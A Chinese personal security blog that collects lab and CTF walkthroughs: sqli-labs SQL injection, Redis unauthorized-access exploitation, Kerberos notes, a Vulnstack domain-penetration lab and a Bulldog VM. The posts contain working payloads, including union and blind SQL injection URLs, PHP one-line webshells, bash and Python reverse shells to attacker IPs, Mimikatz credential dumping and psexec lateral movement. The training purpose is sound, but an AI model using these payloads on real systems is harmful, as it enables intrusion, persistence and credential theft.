SwanQ's blog

To live is to Risk it All

0%

前言

本着再多思考思考sql注入的目标,刷一遍sqli-labs。面试时遇到搜索型注入思维顺溜但是表达不顺溜,说明自己还是没有充分理解,无妨,那就来查漏补缺。

0x01 base

less-1 字符型

别忘了后面加参数id=1’

  1. and ‘1’ = ‘1正常,and ‘1’ = ‘2报错,说明是字符型

    报错回显是limit 0,1,说明后台查询语句很有可能是SELECT * FROM users WHERE id=$id LIMIT 0,1,说明对用户的输入没有处理,直接带入数据库查询。

  2. 字段数

  3. 数据库相关信息

  4. 数据库:

  5. 表:

  6. 列名:

    dump内容:

less-2 数字型

  1. 数字型判断:

    and 1 =1正常,and 1=2错误(错误并不是报错,而是不返回信息)

  2. 字段数:

  3. 查当前数据库:

  4. 查所有数据库:

  5. 查所有表:

  6. 查users表中内容:

    对于用户名和密码看起来不方便,试试这样

less-3 单引号+括号

源码:

1
2
3
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

报错信息**”1”) LIMIT 0,1‘表明开发者可能使用的SQL查询语句为SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1**,可知是**’)**闭合

  1. 字段数:

  2. 回显位置:

  3. 猜库 表 列 表内容:

1
2
3
4
5
6
7
8
数据库:
http://localhost:81/Less-3/?id=-1' ) union select 1,2,group_concat(schema_name) from information_schema.schemata--+
表名:
http://localhost:81/Less-3/?id=-1' ) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
列名
http://localhost:81/Less-3/?id=-1' ) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
表内容
http://localhost:81/Less-3/?id=-1' ) union select 1,2,group_concat(username,':',password) from users--+

less-4 双引号+括号

报错信息’1’’) LIMIT 0,1表明开发者可能使用的SQL查询语句为SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1,判断缺)闭合

1
2
3
http://localhost:81/Less-4/?id=1" ) union select 1,2,3--+
...
同上

less-5 单引号+盲注

如果查询的id在数据库当中,可以发现页面内显示“you are in…“,如果不在则什么也不显示,判断为盲注

可以看到报错信息是**”1” LIMIT 0,1’**,后台代码可能是这样写的: SELECT * FROM users WHERE id=’$id’ LIMIT 0,1

  1. 探测数据库名称长度:

  2. 猜测每个字符:and(left(database(),1)=’s’)

  3. 猜测security数据库下表的个数count()=1:

    and (select count()=1)

  4. 猜每个表名长度substr((),start,length)start为开始位置,length为截取的长度

    猜第一个表的长度:

    http://localhost:81/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),7,1 ))–+

    所以第一个表长度为6

    第二个表

    http://localhost:81/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),1,1 ))–+

  5. 猜表名

    第一个表名:

    http://localhost:81/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1 ))=1–+

  6. 表中列个数:

    http://localhost:81/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name=’users’)=3–+

    为3时,显示you are in,说明有三列

  7. 列名:

    http://localhost:81/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit ,1),1,1 ))=105–+

    猜测第一列名的第一个字母为i

  8. 每一列中的具体内容,即用户名,密码,id就不用猜了

    先猜长度:

    http://localhost:81/Less-5/?id=1' and ascii(substr((select username from users limit 0,1),5,1 ))–+

    第一个用户名长度为4,于是可以爆出来所有用户的长度

  9. 用户名:

    http://localhost:81/Less-5/?id=1' and ascii(substr((select username from users limit 0,1),1,1 ))=68–+

    第一个用户名首字母ASCII码为68,说明是D,于是可以爆出所有用户名

less 6 双引号+盲注

因报错信息能猜出后台SQL查询语句为SELECT * FROM users WHERE id=”$id” LIMIT 0,1,错误日志中两个单引号是为了与”区分。

同上,直接把单引号变为双引号即可

less 7 dump into outfile

limit用法:

前言

第二次在总结redis未授权利用方式写crontab时,使用的是Ubuntu,发现反弹shell失败。然而第一次用CentOs时却没有此问题出现。特此刨根问底总结一下原因。

0x01 cron服务和crontab命令

1.cron和crontab

Linux存在需要定期执行的任务-例行性工作,分为用户设置的例行性任务和系统层面的例行性任务,其中:

  • cron:执行计划命令的守护程序,会每分钟检查是否有任务需要执行
  • crontab:维护某用户crontab 文件的命令
  • cron 会查找/var/spool/cron/crontabs/ 目录下的文件及 /etc/crontab 文件中所有 crontab 命令,并读入内存中。

具体crontab和cron用man自行查看

2.ubuntu的cron程序位置

ubuntu下可利用的cron包括:

  • /var/spool/cron/crontabs/:该目录下定义的任务计划文件会被执行,前提是该任务计划文件的权限必须为600

  • /etc/crontab:该文件里面的任务计划可直接执行,负责调度各种管理和维护任务

  • /etc/cron.d/*:存放任何要执行的crontab文件或脚本。该目录下任意文件都可被当作任务计划执行,且避免原先任务计划文件被覆盖

  • 还可以把脚本放在其他目录,包括

    /etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。

/etc/crontab参数含义:

m:分钟 - 从0到59的整数

h:小时 - 从0到23的整数

dom:天 - 从1到31的整数 (必须是指定月份的有效日期)

mon:月 - 从1到12的整数 (或如Jan或Feb简写的月份)

dow:周一到周日 - 从0到7的整数,0或7用来描述周日 (或用Sun或Mon简写来表示)

user:指的是执行命令的用户

command: 需要执行的命令

表示参数所有可用的值,如果为5个,就代表每分钟执行一次

/:指定步进设置。“/”表示步进值,比如*/2 * * * *代表每两分钟执行一次任务

0x02 查找原因

查看/var/log/syslog可找到相关日志。因syslog记录系统所有日志信息。

1.写/var/spool/cron目录时

提示命令执行出现错误,ubuntu会将这些错误信息输出到ubuntu系统的邮件服务器,但是ubuntu系统默认没有安装邮件服务器,所以导致了错误

错误原因包括:

  1. /var/spool/cron/crontabs/权限不对劲,并非600
  2. ubuntu的cron的shell环境为/bin/sh

针对原因2可采用第二种方式:

2.写/etc/cron.d目录时

此时step1先更改/bin/sh为/bash,step2使用bash反弹shell。

1
2
3
4
5
6
7
8
set aaa "nnnn* * * * * root ln -s -f bash /bin/shnnnn"
config set dir /etc/cron.d
config set dbfilename step1
save
set bbb "nnnn* * * * * root bash -i >& /dev/tcp/192.168.0.101/7777 0>&1nnnn"
config set dir /etc/cron.d
config set dbfilename step2
save

成功创建任务计划step1和step2,但是还是无法反弹shell。错误日志显示语法错误

原因:redis向任务计划文件里写内容出现乱码而导致的语法错误。

  • centos会忽略乱码去执行格式正确的任务计划
  • ubuntu并不会忽略这些乱码,所以导致命令执行失败,作为正常用户向/etc/cron.d目录下写任务计划文件时,命令可以正常执行。利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据

0x03 复现

具体环境搭建不再赘述

靶机:CentOS 192.168.140.132

攻击机:Kali 192.168.140.130

CentOS启动redis服务:

kali监听本机9999端口的返回任务

kali写入定时任务

写入成功,直接拿到root下的bash

0x04 总结

ubuntu确实设计比centos安全,建议遇到ubuntu还是用其他两种方式。具体利用方式参考上一篇文章。

参考

  1. https://cloud.tencent.com/developer/news/301606
  2. https://www.dazhuanlan.com/2019/11/18/5dd20bda178db/
  3. https://www.anquanke.com/post/id/241146
  4. Linux日志排查:https://baijiahao.baidu.com/s?id=1613381635234443098&wfr=spider&for=pc

前言

之前总结过的内容被自己的windows defender杀掉了,现哭着再总结一次。起因源于之前参加hvv遇到此洞,故而作此总结。

0x01 概述

用ANSI C写的redis作为非关系型内存数据库,是key-value存储系统,且支持主从服务器同步。redis漏洞产生的原因一般是:

  • 直接暴露在公网:绑定在 0.0.0.0:6379,且没有进行添加防火墙规则、避免其他非信任来源IP访问等相关安全策略
  • 没有设置密码认证(一般为空):可以免密远程登录redis服务

漏洞可能产生的危害:

攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以通过恶意执行flushall来清空所有数据
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件
如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害者服务器

下图为redis拿shell的三种方式及其条件:

0x02 环境搭建

靶机:Ubuntu 192.168.140.129

攻击机:kali 192.168.140.130

kali一键安装redis,sudo apt install redis

Ubuntu debian或其他环境安装指南:

安装:

1
2
3
4
5
6
7
8
9
tar -xzvf redis-6.0.1.tar.gz
mv redis-6.0.1 /usr/local/redis
cd /usr/local/redis
make & make install

# 任意目录启动
cp redis-server /usr/bin
cp redis-cli /usr/bin
cp redis.conf /etc

配置:

1
2
3
4
5
6
7
8
9
10
11
# 去掉仅对内网开放,加#
# bind 127.0.0.1
# redis关闭守护进程
daemonize no
# 关闭保护模式
protected-mode no

# 重启配置文件
redis-server redis.conf
# 关闭防火墙
ufw disable

当然,别忘了,ubuntu要启动redis-server服务。

为保证后面写入计划任务,此处以root权限启动redis

0x03 利用方式

1. 写webshell

条件:

存在web目录

晓得绝对路径

当然还要有写入权限

流程:

实际渗透过程中,这个方法通常需要搭配 phpinfo 等信息使用

1
2
3
4
5
6
7
8
redis-cli -h  192.168.140.129 or 域名
config set dir /var/www/html/
# 设置写入文件
config set dbfilename 1.php
# 以键值对的形式写入一句话木马
set webshell "<?php @eval($_POST['swanq']);?>"
# 保存写入硬盘
save

最后用蚁剑连接即可:http://192.168.127.139/1.php

2. 写ssh公钥

原理:Redis 未授权访问通过写 /root/.ssh下的authorized_keys 来拿权限

条件:

对外开启ssh服务

Redis 服务运行在 root 用户下(否则还要猜测用户)

流程:

生成本机ssh公私钥

为防止脏数据污染公钥,在公钥内容上下加空行。之后将公钥写入key.txt

shell的echo :

用于字符串输出,其注意事项如下图所示:

redis远程连接靶机,将公钥文件key.txt写入靶机

-x:read last argument from STDIN

cat key.txt | redis -h 192.168.140.129 -x set crack:

  • cat key.txt 输出 作为后面的输入

  • -x 读取标准输入

  • set crack 是将读取的输入作为crack此参数内容

    相当于把参数crack参数和-x读的数据组了个命令执行

找到靶机redis备份路径:

更改redis备份路径为ssh公钥存放目录/home/glory/.ssh,默认情况为/root/.ssh。并设置上传公钥文件名为authorized_keys

config:可查看或设置配置项

dbfilename:备份文件

SSH远程登陆成功

3. 在crontab中写定时任务

条件:

有可写计划任务的权限,将文件写入到计划目录下执行

多见于CentOs使用

流程:

攻击机监听本机9999端口,接收之后的反弹shell

利用redis以root权限运行有可写计划任务的权限,写crontab

1./var/spool/cron目录存储每个用户生成的crontab文件

2.直接往当前用户的crontab中写反弹shell,必须要换行

3.* * * * * myCommand:1分钟执行一次myCommand

4.n个数大于2,否则文件内容里面的任务计划会出现乱码导致命令执行失败

观察到此时并无反弹shell。但是确实写入成功。

具体排查问题另起一篇博客说明。

0x02 如何防护

1.禁止远程使用一些高危命令

我们可以通过修改redis.conf文件来禁用远程修改DB文件地址

1
2
3
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

2.低权限运行Redis服务

为Redis服务创建单独的userhome目录,并且配置禁止登陆

1
groupadd -r redis && useradd -r -g redis redis

3.为Redis添加密码验证

我们可以通过修改redis.conf文件来为Redis添加密码验证

1
requirepass mypassword

4.禁止外网访问 Redis

我们可以通过修改redis.conf文件来使得Redis服务只在当前主机可用

1
bind 127.0.0.1

参考:

  1. 下载链接:http://download.redis.io/releases/redis-6.0.1.tar.gz
  2. https://hejueyun.github.io/posts/2218125b/
  3. https://www.freebuf.com/vuls/223432.html
  4. redis相关:https://www.anquanke.com/post/id/241146
  5. corntab命令参考:https://www.runoob.com/w3cnote/linux-crontab-tasks.html

0x01 Kerberos简介

Kerberos认证中,最主要的问题是如何证明“你是你”的问题,当一个Client去访问Server上的某服务时,Server如何判断Client是否有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截/篡改也不影响通讯的安全性,这正是Kerberos解决的问题。在域渗透过程中Kerberos协议的攻防也至关重要。

1.Kerberos协议框架

在Kerberos协议中主要是有三个角色的存在:

  • 访问服务的Client

  • 提供服务的Server

  • KDC(Key Distribution Center)密钥分发中心

    其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。

如果把Kerberos中的票据类比为一张火车票,那么Client端就是乘客,Server端就是火车,而KDC就是车站的认证系统。如果Client端的票据是合法的(由你本人身份证购买并由你本人持有)同时有访问Server端服务的权限(车票对应车次正确)那么你才能上车。当然和火车票不一样的是Kerberos中有存在两张票,而火车票只有一张。

由上图中可以看到KDC又分为两个部分

Authentication Server: AS的作用就是验证Client端的身份(确定你是身份证上的本人),验证通过就会给一张TGT(Ticket Granting Ticket)票给Client。

Ticket Granting Server: TGS的作用是通过AS发送给Client的票(TGT)换取访问Server端的票(上车的票ST)。ST(ServiceTicket)也有资料称为TGS Ticket,为了和TGS区分,在这里就用ST来说明。

KDC服务框架中包含一个KRBTGT账户,它是在创建域时系统自动创建的一个账号,可以暂时理解为他就是一个无法登陆的账号,在发送票据的时候会使用到他的密码hash。

2. Kerberos认证-ticket system

流程当Client想要访问Server上的某个服务时,需要先向AS证明自己的身份,然后通过AS发放的TGT向Server发起认证请求,这个过程分为三块:

The Authentication Service Exchange:Client与AS的交互

The Ticket-Granting Service (TGS) Exchange:Client与TGS的交互

The Client/Server Authentication Exchange:Client与Server的交互

(1)TheAuthentication Service Exchange

KRB_AS_REQ

Client->AS:发送 Authenticator1(Client 密码加密 TimeStamp)

第一步 Client 先向 KDC 的 AS 发送 Authenticator1,内容为通过 Client 密码 Hash 加密的时间戳、ClientID、网络地址、加密类型等内容。

KRB_AS_REP

AS-> Client:发送 Client 密码加密的 sessionkey-as 和票据 TGT(KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp)

在 KDC 中存储了域中所有用户的密码 HASH,当 AS 接收到 Client 的请求之后会根据 KDC 中存储的密码来解密,解密成功并且验证信息。验证成功后返回给 Client 由 Client 密码 HASH 加密的 sessionkey-as 和 TGT(由 KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp 等信息)。

(2)TheTicket-Granting Service (TGS) Exchange

KRB_TGS_REQ

Client ->TGS 发送 Authenticator2 (sessionkey-as 加密 TimeStamp) 和票据 TGT(KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp)

Client 接收到了加密后的 Sessionkey-as 和 TGT 之后,用自身密码解密得到 Sessionkey-as,TGT 是由 KDC 密码加密,Client 无法解密。这时 Client 再用 Sessionkey-as 加密 TimeStamp 和 TGT 一起发送给 KDC 中的 TGS(TicketGranting Server)票据授权服务器换取能够访问 Server 的票据。

KRB_TGS_REP

TGS-> Client 发送 密文 1(sessionkey-as 加密 sessionkey-tgs) 和 票据 ST(Server 密码 HASH 加密 sessionkey-tgs)

TGS 收到 Client 发送过来的 TGT 和 Sessionkey-as 加密的 TimeStamp 之后,首先会检查自身是否存在 Client 所请求的服务。如果服务存在,则用 KRBTGT 密码解密 TGT。一般情况下 TGS 会检查 TGT 中的时间戳查看 TGT 是否过期,且原始地址是否和 TGT 中保存的地址相同。验证成功之后将用 sessionkey-as 加密的 sessionkey-tgs 和 Server 密码 HASH 加密的 Sessionkey-tgs 发送给 Client。

(3)TheClient/Server Authentication Exchange

KRB_AP_REQ

Client ->Server 发送 Authenticator3(sessionkey-tgs 加密 TimeStamp) 和票据 ST(Server 密码 HASH 加密 sessionkey-tgs)

Client 收到 sessionkey-as 加密的 sessionkey-tgs 和 Server 密码 HASH 加密的 sessionkey-tgs 之后用 sessionkey-as 解密得到 sessionkey-tgs,然后把 sessionkey-tgs 加密的 TimeStamp 和 ST 一起发送给 Server。

0x02 Kerberoasting-对kerberos的渗透

在整个渗透的过程当中,KDC密钥分发中心是我们渗透的重点,因为KDC存储了域中所有用户的密码哈希。

介绍 Kerberos 的认证流程时说到,在 KRB_TGS_REP 中,TGS 会返回给 Client 一张票据 ST,而 ST 是由 Client 请求的 Server 端密码进行加密的。当 Kerberos 协议设置票据为 RC4 方式加密时,我们就可以通过爆破在 Client 端获取的票据 ST,从而获得 Server 端的密码。

下图为设置 Kerberos 的加密方式,在域中可以在域控的「本地安全策略」中进行设置:

设置RC4 方式加密。

设置完成之后运行里输入「gpupdate」刷新组策略,策略生效。

0x0 参考

https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberos.html

https://www.freebuf.com/articles/system/196434.html

https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.html

https://www.notion.so/e977d98f5bd740db87ac4e5cae38a442#57ac8897745f4a05a570415401ee7d5f

前言

由于目前所做项目及论文的原因(具体不便细说),需要调研云取证,刚好在此做一总结。本篇文章主要是对云环境中电子数据的分析技术作以总结。

0x01 概述

Ruan K教授从技术、组织和法律三个维度划分云取证领域相关问题。

  • 技术维度:云计算环境中进行电子数据取证的具体过程和试用的技术和工具。
  • 组织维度:云计算环境中包含的角色,包括云服务提供商、云服务用户、云服务中介、审计人员和取证人员,不同的角色在云取证活动中的职责不同,他们之间的交互可以促进云取证的实施。法律维度主要关注在涉及跨多个管辖区的法律问题。

云计算在电子取证领域的领域包括定位电子数据所在虚拟机的物理位置、设计云取证模型等。设计云取证模型是当前云取证研究的主要方向之一,对于云取证工作具有重要的指导意义。本文主要研究云中电子数据的分析技术。

0x02 云计算(Cloud Computing)

云计算可以看作是并行计算、分布式计算和网格计算等计算机技术和网络技术的融合和发展。简单来说,云计算是通过网
络将庞大的计算处理程序自动分拆成无数个较小的子程序,再交由多部服务器所组成的庞大系统,经搜寻、计算、分析之后将
处理结果回传给用户。使用这项技术,网络服务提供者可以在数秒之内,达成处理数以千万计甚至亿计的信息,达到和超级计算
机同样强大效能的网络服务。

0x03 云环境中电子数据的分析技术研究

云环境下的电子数据分析:取证调查人员借助工具、算法对涉案的电子数据进行分析的过程。主要包括

  • 数据源分析
  • 数据恢复
  • 事件重构
  • 数据检索

云环境中的电子数据量大、数据格式多、多源证据时间戳不一致、网络环境复杂等特性为分析证据带来极大的挑战。

  1. 数据量巨大:目前的研究思路已经从分析所有数据的取证转变为用机器学习分析取证

  2. 数据源分析困难:借助SDN网络取证分析来实现网络攻击溯源;

然而目前提出的方法均存在局限性,无法有效解决目前的困境。云环境中电子数据的分析方法臻待进一步研究。

参考:

  1. https://www.secrss.com/articles/11419

1. 环境搭建

说实话对于搭建window内外网IP之前没试过,觉得也很简单,结果把内网网络适配器和外网的网络适配器搞反了,导致时间耗费较高,特此记录。其他的博客大抵都跳过了此步骤。

下载靶场环境:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

大家的模拟攻击示意图很清楚,在此借鉴一下:

靶机环境拓扑图如下:

配置网络:

分别给web服务器配置NAT模式的网卡一个作为外网,VMnet2的网卡一个作为内网。其余域控和域成员分配一个VMnet2即可。在vmware的虚拟网络配置器里面需要添加VMnet2,且设置NAT模式取消DHCP自动分配IP选项。

win7开机后,需要设置本地连接6的IPV4如下图所示:

控制面板 - 网络和Internet - 网络和共享中心 - 更改适配器设置 - 右键本地连接6 - 双击IPv4,其中114.114.114.114是国内三大运营商的通用DNS,是国内用户上网常用的DNS

8.8.8.88.8.4.4 是Google提供的免费DNS服务器的IP,更适合国外以及访问国外网站的用户使用

参考下图:

开启win7的phpstudy,同时测试win7是否可以pingkali和内网的两台主机。ping通over,环境搭建到此结束。

2. 攻击流程

0x01 主机发现

DMZ区也就是处于两个防火墙之间的,一个合格的DMZ区是为了提供外部主机访问内网资源服务器的一个缓冲区域,应该有着严格的内外网隔离,本次靶场只是一个模拟,dmz区并没有很合规。

那么入手以后,先进行信息收集,桥接嘛,那么直接扫一下桥接网段的存活主机

1
2
3
nmap -sP 192.168.140.0/24

netdiscover -i eth0 -r 192.168.140.0/24

获得目标IP,开始扫描端口:

1
2
# -vv提高输出信息的详细度
nmap -sV -vv -p 1-65535 192.168.140.130

80端口是一个phpstudy探针:

最下方有数据库登陆框测试mysql连同,尝试root/root即可登陆。初步getshell思路就是通过mysql拿shell。

目录扫描还是御剑靠谱一点,扫出beifen.rar。

备份文件发现网站源码,打开robots.txt发现网站CMS为yxcms,访问http://192.168.1.102/yxcms进入网站首页

0x02 漏洞利用

漏洞一:信息泄露+弱口令

网站http://192.168.1.102/yxcms后台泄露后台登陆地址和用户密码。

成功登陆后台管理页面,可以添加、编辑、删除管理员,管理数据库及上传文件。

漏洞二:PhpMyAdmin弱口令

使用默认用户名/口令(root/root)成功登录PhpMyAdmin管理页面,可以看到数据库的所有内容

漏洞三:yxcms留言本XSS存储型漏洞

前台提交带有XSS代码的留言,后台审核成功弹出XSS弹窗,审核通过之后,前台成功弹窗。通过该漏洞可以获取管理员cookie或者诱导管理员点击执行某恶意代码

漏洞四:yxcms后台任意文件读写漏洞

后台管理首页–> 前台模板–>管理模板文件 –>新建hack.php文件

找备份文件即可看到文件的保存目录为:http://192.168.1.102/yxcms/protected/apps/default/view/default/hack.php

使用蚁剑成功连接:

漏洞五:PhpMyAdmin开启全局日志getshell

  1. 测试是否可以使用into outfile写入文件到web目录:Select ‘ ‘ into outfile ‘C:/phpStudy/WWW/hack.php’。发现写入失败。

  2. 再查看变量secure-file-priv 值: show global variables like ‘%secure%’发现为NULL,为只读无法修改。

  1. 尝试用全局日志写shell,查看全局变量general_log:show global variables like ‘%general_%’。于是开启全局日志并修改日志保存位置为C:/phpStudy/WWW/hack.php

    1
    2
    set global general_log=on;
    set global general_log_file='C:/phpStudy/WWW/hack.php';

查询一句话写入日志Select '<?php eval($_POST[hack]);?>'

使用蚁剑连接一句话木马http://192.168.140.130/hack.php。web目录直接IP加文件名就好。

0x03 getshell

此时会用到Cobalt Strike, 以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选。

我们用kali作为CS服务器,用蚁剑给win7上传java 11和CS。CS服务器和CS客户端分别如下:

选择监听器,为后头生成木马做铺垫

蚁剑关闭防火墙:终端执行:netsh advfirewall set allprofiles state off

生成木马artifact.exe.(Attacks -> Packages -> Windows Executable ),并用蚁剑上传win7。用蚁剑终端执行artifact.exe之后,win7提示artifact.exe已停止工作。发现是监听主机选错了,当然是要选择攻击方(服务器)。当然记得要选择为64位。

tips:

相同文件名的shell,蚁剑会上传失败。

终于提权成功了。

0x04 后渗透之系统信息收集

1.主机信息收集

1
beacon> shell ipconfig/all

我们知道140是外网,还发现52网段。域是god.org,说明当前主机是在域内的,初步判断域名为god.org.

内网信息收集:

查询主机名:whoami,hostname

查询系统体系架构:echo %PROCESSOR_ARCHITECTURE%

查看当前运行进程:wmic process list brief

域相关:

查询本地所有用户:net user

查看域内所有用户列表:net group /domain

进入域:net group /domain:god

查看域成员计算机列表:net group “domain computers” /domain
查看域管理员用户,也就是域控:net group “domain admins” /domain

参考:https://article.itxueyuan.com/56bEWk

查看本机名,hostname,架构,域信息等,CSshell执行命令实在是太慢了,后来发现是自己没改sleep时间,在Cobalt Strike中,默认心跳为60s,执行命令的响应很慢,在下载文件时更加明显,所以根据实战环境把时间降低,建议不要太快,否则流量会相对明显。主机扫描和端口扫描在beacon处,可直接用。

查看是否有常见的杀毒软件

  • 域控制用户:OWA

  • 本机计算机:STU1,

  • 域成员:ROOT-TVI862UBEH

2. 主机密码收集

拿到本机的Administrator权限,先提权,右键Access -> Elevate,提权至System:

System权限->Access->Run Mimikaz,获取win7系统用户名和密码。这里要注意,如果域控登陆本机,可以直接拿到域控的账户和密码。

view -> Credentials

3.远程桌面登陆

要使用远程桌面登陆的话,得远程开启对方的3389端口,不妨试试。当然得先关闭防火墙,之前上传shell的时候已经关闭了,所以此时不再需要。CS 右键Explore -> Desktop(VNC)也可以直接远程桌面。

whoami的信息是god\administrator,密码是Security1

此时远程桌面登陆:

尝试多次一直登陆失败,是把用户名记成god,执行whoami看到是god\administrator。

注:

注册表开启3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

0x05 内网主机探测

  • 域控制用户:OWA

  • 本机计算机:STU1,

  • 域成员:ROOT-TVI862UBEH

远程登陆之后发现win7已安装nmap,不妨利用起来,直接进行内网扫描。

1
nmap -sP 192.168.52.0/24

k8的Ladon也可以直接进行内网扫描:

1
Ladon 192.168.52.0/24 OnlinePC

扫描端口:beacon上右键->Explore -> PortScan

icmp扫描完之后,在view->target选项即可看到内网存活主机。

总结一下所开放端口,其实target处右键services可以直接看到每个主机所开放的端口。不过还是nmap的比较全.

138开放端口如下:

141开放端口如下:

143 www.qiyuanxuetang.net 开放端口如下:

0x06 横向移动拿权限

目前我们只拿到本机的账户密码和System权限,我们需要去隐秘探测内网的其他主机。

第一种:Ladon发现

用Ladon扫描主机及漏洞,可以看到三者都存在MS17-010漏洞

第二种:使用SMB beacon

SMB beacon相对隐秘,对绕过防火墙有奇效。SMB beacon通过命名管道和父Beacon进行通讯。两个Beacons连接之后,父beacon发布任务并传送给子beacon,Beacon之间使用windows命名管道通信,此通信流量封装于SMB协议中。故而相对隐秘。

新建一个listener,payload设定为Beacon SMB

在已有的beacon上右键spawn生成会话,进行派生.选择建立的SMB beacon的listener。选择后会反弹一个子会话:

执行psexec有两种方法:

其一:选择用户登录

然后psexec使用凭证来登入其他主机。Beacon选择SMB,Listener选择本机128.

psexec会分别执行rev2self、make_token GOD.ORG\Administrator Security1、jump psexec OWA SMB

其二:token窃取

最终得到内网主机的System权限。

0x07 CS-MSF联动使用MS17010扫描

通过beacon内置的socks功能将本地Msf直接代入目标内网进行操作即可。socks 1080。

1
2
setg Proxies socks4:127.0.0.1:1080
setg ReverseAllowProxy true

同样拿到权限。

3.总结

1,CS的Beacon后自带四个点,说明是通过代理服务器获得的控制权限。

4.reference

CS教程参考:https://bbs.huaweicloud.com/blogs/204574

https://iter01.com/598439.html

https://www.freebuf.com/column/231111.html

https://chaceshadow.github.io/2020/09/28/ATC-CK-Vulnstack-1/#3-2-1-6-%E6%BC%8F%E6%B4%9E%E5%85%AD%EF%BC%9APhpMyAdmin%E5%BC%80%E5%90%AF%E5%85%A8%E5%B1%80%E6%97%A5%E5%BF%97getshell

https://blog.ateam.qianxin.com/CobaltStrike4.0%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C_%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91.pdf

前言

今日突然冒出渗透靶机的想法,突然一看,前人早已栽好了树。

每日分享:原来在孩提时期就已经看过余华的活着,只是当时读懂活着的人不是我。

小狗拼命的想叫醒他的同伴,可他还不知道同伴可能再也醒不过来了

每天都有人跟你一样在注视着生活中的点滴

最后献上红楼的一句箴言:假亦真时真亦假,无为有处有还无

不知道既喜欢红楼又喜欢昆曲,把后半辈子都献给教授外国人红楼梦的他,心境又是如何呢

人生本来就是尝试的过程,正确与否在你以为

也罢,继续写博客辽

0x01 资产收集

靶机:Ubuntu16.04:192.168.127.134

攻击机:kali 2021.1:192.168.127.133

愣是想不起来这个命令叫啥:lsb_release -a

1
2
3
4
5
6
7
8
9
# 主机发现
# ping scan
nmap -sn 192.168.127.0/24

# 端口扫描
masscan --rate=10000 --ports 0-65535 192.168.127.134

# 探究端口服务
nmap -sV -T4 -O -p 23,80,8080 192.168.127.134

可以看到python版本

1
2
# 扫描子域名
dirb http://192.168.127.134

去康康admin和dev分别是什么服务。访问admin会看到无验证码的登陆界面,而dev必须登陆之后才可以看到。

dev页面有多个邮箱,去康康dev的源码,可能会md5加密的密码存储,一看还真有。解密之后尝试登陆admin页面,发现后两个账号可以登陆进去。不过账号是邮箱的前面,也就是姓名,登陆进去之后,发现dev界面的web shell也有了权限。其实这个界面类似于拿到一台被限制命令白名单的机子。尝试绕过吧。

0x02 漏洞检测

远程命令执行漏洞检测

使用;同时执行多个命令,被过滤;

使用**&,&&,|**同时执行多个命令,成功。

查看敏感目录,发现3个用户:

0x03 漏洞利用

试试反弹shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 在kali的/var/html/www目录下,搭建web服务
python -m SimpleHTTPServer 80
# 攻击机监听1234端口
nc -lvnp 1234

# 靶机执行wget命令尝试连接
pwd & wget http://192.168.127.133

# 靶机下载shell文件
ls & wget http://192.168.56.133/shell.py
# 靶机执行shell
ls & python shell.py
# 靶机删除shell
ls & rm -rf shell.py

其中反弹shell脚本shell.py内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
import os
import socket
import subprocess

# create an INET, STREAMing socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# now connect to the web server on port 1234
s.connect(("192.168.127.133", 1234))
os.dup(s.fileno(), 0)
os.dup(s.fileno(), 1)
os.dup(s.fileno(), 2)
p = subprocess.call(["/bin/bash", '-i'])

进入home,查看其他用户:bulldogadmin django

进入bulldogadmin,查看所有文件,此时还是ls -la找到隐藏目录.hiddenadmindirectory。找到可执行文件customPermissionApp。strings查看其中字符

猜测密码SUPERultimatePASSWORDyouCANTget。不过此处H到底代表什么暂时还不清楚。

0x04 提权/后门维持

此时无法提权,需要打开新终端

1
2
3
4
# 打开新终端
python -c 'import pty; pty.spawn("/bin/bash")'
# 提权
sudo -i

0x05 总结

  1. 习惯查看网页源码以及查看bash下所有文件ls -la

  2. && & |的妙用

  3. 当cat查看某些文件出现乱码时,可以考虑用strings

  4. 一般反弹的shell不如终端,一般拿到后都先用python弹一个终端出来

    1
    2
    python -c "import pty; pty.spawn("/bin/bash")"
    sudo -i
  5. 反弹shell过程

  6. 知识点总结:

    • Python -m :mod,run library module as a script

    • SimpleHTTPServe:use Python SimpleHTTPServer to turn any directory into a simple HTTP web server.

    • python http服务器运行在80端口

    • nmap -sn:ping scan

